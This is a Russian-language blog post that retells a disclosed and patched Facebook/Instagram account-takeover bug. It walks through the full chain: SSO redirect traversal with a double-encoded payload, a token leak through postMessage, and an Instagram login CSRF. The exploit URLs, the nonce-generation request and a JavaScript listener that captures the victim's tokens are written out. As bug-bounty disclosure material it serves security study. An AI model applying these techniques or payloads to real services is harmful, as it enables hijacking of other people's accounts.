Найти в Дзене
Life-Hack - Хакер

Захват Facebook аккаунта в два клика с использованием FXAuth токена и кражи BLOB-данных

Facebook и Instagram аккаунты тесно связаны через "Accounts Center", что обеспечивает связь профилей на этих платформах, взаимную аутентификацию и централизованное управление параметрами безопасности. Данная интеграция возможна благодаря Single Sign-On (SSO), FXAuth токенам и передачи данных между доменами Facebook и Instagram. Однако, если механизмы изоляции не работают должным образом, украденый токен может быть использован на соседней платформе, приводя к полной компрометации аккаунта. Эта статья детально описывает сценарий атаки, позволяющей злоумышленнику подключить Facebook аккаунт жертвы к собственной учетной записи Instagram и таким образом добиться постоянного контроля над ним. Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума! После успешной эксплуатации злоумышленник получает возможность: - Привязать Facebook аккаунт жертвы к Instagram аккаунту злоумышленника - Управлять настройками Facebook аккаунта через "Accoun
Оглавление

Введение

Facebook и Instagram аккаунты тесно связаны через "Accounts Center", что обеспечивает связь профилей на этих платформах, взаимную аутентификацию и централизованное управление параметрами безопасности.

Данная интеграция возможна благодаря Single Sign-On (SSO), FXAuth токенам и передачи данных между доменами Facebook и Instagram. Однако, если механизмы изоляции не работают должным образом, украденый токен может быть использован на соседней платформе, приводя к полной компрометации аккаунта.

Эта статья детально описывает сценарий атаки, позволяющей злоумышленнику подключить Facebook аккаунт жертвы к собственной учетной записи Instagram и таким образом добиться постоянного контроля над ним.

Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума!

Impact

После успешной эксплуатации злоумышленник получает возможность:

- Привязать Facebook аккаунт жертвы к Instagram аккаунту злоумышленника

- Управлять настройками Facebook аккаунта через "Accounts Center"

- Входить в Facebook, используя вход через Instagram (мобильный клиент)

- Поддерживать долговременный доступ без пароля и двухфакторной аутентификации Facebook

Описание уязвимости

Проблема возникает в результате некорректной обработки запросов native SSO API (https://www.facebook.com/login/native_sso/).

Этот эндпоинт предназначен для взаимной аутентификации и принимает несколько ключевых параметров:

- app_id: уникальный идентификатор приложения

- token: FXAuth токен

- extra_data: путь для последующего перенаправления

Проверка параметра extra_data зависит от от инициирующего приложения.

Исторически сложилось, что для мобильного приложения Instagram (идентификатор app_id = 1217981644879628) Facebook допускал любые пути перенаправления, начинающиеся с /accounts_center/. Такое поведение существовало до появления отдельного домена accountscenter.instagram.com.

Использование двойного URL-кодирования и техники обхода путей позволяет выйти за пределы ожидаемого префикса /accounts_center/ и осуществить перенаправление на любые эндпоинты.

Пример вредоносного URL для успешного обхода ограничений:

https://www.facebook.com/login/native_sso/?

&flow=fbcal
&app_id=1217981644879628
&token=FXAUTH_TOKEN
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\any_endpoint

После подтверждения пользователем происходит редирект на:

https://www.instagram.com/any_endpoint

Таким образом, механизм единого входа (SSO) позволяет перенаправлять запросы на любую конечную точку внутри домена www.instagram.com, и мне удалось найти этот адрес:

https://www.instagram.com/billing_interfaces/external_result/?
&token=TOKEN
&blob=BLOB

Этот эндпоинт пытается взаимодействовать с родительским окном через метод postMessage, задав targetOrigin равным *. Обычно передается лишь ограниченное количество информации, однако при наличии действительного параметра nonce эта конечная точка отправит полный URL вместе с чувствительными значениями, включая:

- Токен (token)

- BLOB-данные (blob)

Такое поведение создаёт условия для утечки токенов. Важно отметить, что значение nonce невозможно угадать — оно должно быть легитимно создано для конкретного пользователя Instagram. Следовательно, нам потребуется сначала создать действующий nonce для Instagram аккаунта злоумышленника, а затем принудительно залогинить этот аккаунт в браузере жертвы.

Обзор атаки

I. Генерация валидного nonce

Используя подконтрольный злоумышленнику Instagram аккаунт:

1. Откройте https://www.instagram.com/ad_tools.

2. Нажмите «Добавить средства» или «Настройки платежей».

3. Перехватите запрос, содержащий access_token, отправляемый на:

- facebook.com/auth/token

- graph.facebook.com

4. С полученным токеном выполните:

https://graph.facebook.com/graphql/?
&locale=en_US
&access_token=ACCESS_TOKEN
&variables={
"input": {
"country": "US",
"establish_type": "INIT",
"logging_data": {
"logging_counter": 41,
"logging_id": "3790958217"
},
"payment_account_id": "PAYMENT_ACCOUNT_ID",
"upl_logging_data": {},
"actor_id": "1",
"client_mutation_id": "16"
}
}
&server_timestamps=true
&doc_id=8354858754606667
&method=post

ID платежного аккаунта (PAYMENT_ACCOUNT_ID) извлекается из:

https://business.facebook.com/billing_hub/payment_settings/?asset_id=PAYMENT_ACCOUNT_ID

В ответе будет корректное значение nonce, например:

hwFlRFhb3krN0rprx16bYLQ2FQ9bpJei

II. Instagram Login CSRF

Атаку можно провести, воспользовавшись механизмом восстановления пароля по электронной почте. После инициации сброса пароля жертва получает письмо с заголовком:

> We’ve made it easy to get back on Instagram

Письмо содержит ссылку вида «Login as [USERNAME]», ведущую на следующий URL:

https://www.instagram.com/_n/web_emaillogin?
&uid=ENCODED_UID
&token=LOGIN_NONCE
&auto_send=0

Переход по этой ссылке автоматически авторизирует пользователя в браузере и установит сессионные куки Instagram без какого-либо дополнительного взаимодействия.

III. Создание FXAuth-токена для подписания

Токен FXAuth, используемый в атаке, создается злоумышленником и отправляется жертве. Полученные BLOB-данные и token, связанные с исходным токеном, используются для завершения процесса привязки к аккаунту атакующего:

Действия злоумышленника:

1. Открыть страницу:

https://accountscenter.instagram.com/profiles

2. Кликнуть «Добавить аккаунт».

3. Произойдет автоматическое перенаправление на:

https://www.facebook.com/login/native_sso/
?&flow=fbcalcomettest
&app_id=1217981644879628
&token=FXAUTH_TOKEN
&extra_data=%2Fadd%2F%3Fbackground_page%3D%252Fprofiles%252F&custom_content_config=accounts_center

4. Извлечь значение параметра token и закрыть окно.

Атака

0. Жертва посещает веб-сайт злоумышленника.

1. Злоумышленник заставляет жертву войти в свою учетную запись Instagram, загружая Instagram login CSRF URL:

https://www.instagram.com/_n/web_emaillogin?
&uid=ENC_UID
&token=LOGIN_NONCE
&auto_send=0

2. После обнаружения факта входа, скрипт злоумышленника открывает новое окно с заранее подготовленным URL для Native SSO:

https://www.facebook.com/login/native_sso/?
&flow=fbcal
&app_id=1217981644879628
&token=FXAUTH_TOKEN
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\billing_interfaces\external_result?nonce=ATTACKER_NONCE

3. Жертва подтверждает использование приложения Instagram.

4. Эндпоинт перенаправляет обратно на адрес:

https://business.facebook.com/billing_interfaces/external_result/
?blob=VICTIM_BLOB
&token=VICTIM_TOKEN
&nonce=ATTACKER_NONCE

5. Эндпоинт отправляет сообщение, содержащее полный URL редиректа, через postMessage в родительское окно.

6. Злоумышленник перехватывает данное сообщение и извлекает BLOB и token, используя подобный обработчик событий:

<html>
<body>
<script>
onmessage = (e) => {
log_data(e.data.direct_debit_redirect_url);
};
</script>
</body>
</html>

7. Используя украденные BLOB и token жертвы, злоумышленник переходит по следующему адресу:

https://accountscenter.instagram.com/add/
?&background_page=%2Fprofiles%2F
&blob=BLOB
&token=TOKEN
&auth_flow=linking

В итоге Facebook аккаунт жертвы оказывается связанным с Instagram аккаунтом злоумышленника, который получает полный контроль через интерфейс "Accounts Center" и может изменять настройки или осуществлять вход через Instagram.

Impact

Обнаруженная уязвимость позволяет захватить аккаунт на другом сервисе путем комбинирования нескольких особенностей:

- Повторное использование токена FXAuth,

- Ослабленное правило валидации перенаправлений в механизме единого входа (Native SSO),

- Утечка токенов через механизм postMessage,

- CSRF-атака на процедуру входа в Instagram через электронную почту.

Итогом является компрометация Facebook аккаунта без знания пароля и 2FA.

Хронология событий

- 16 октября 2024 г. — Сообщение об уязвимости отправлено разработчикам.

- 30 октября 2024 г. — Уязвимость признана командой Facebook.

- 5 ноября 2024 г. — Уязвимость устранена специалистами Facebook.

- 27 ноября 2024 г. — За найденную уязвимость выплачена награда в размере $30 000 компанией Meta.

Источник

Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума!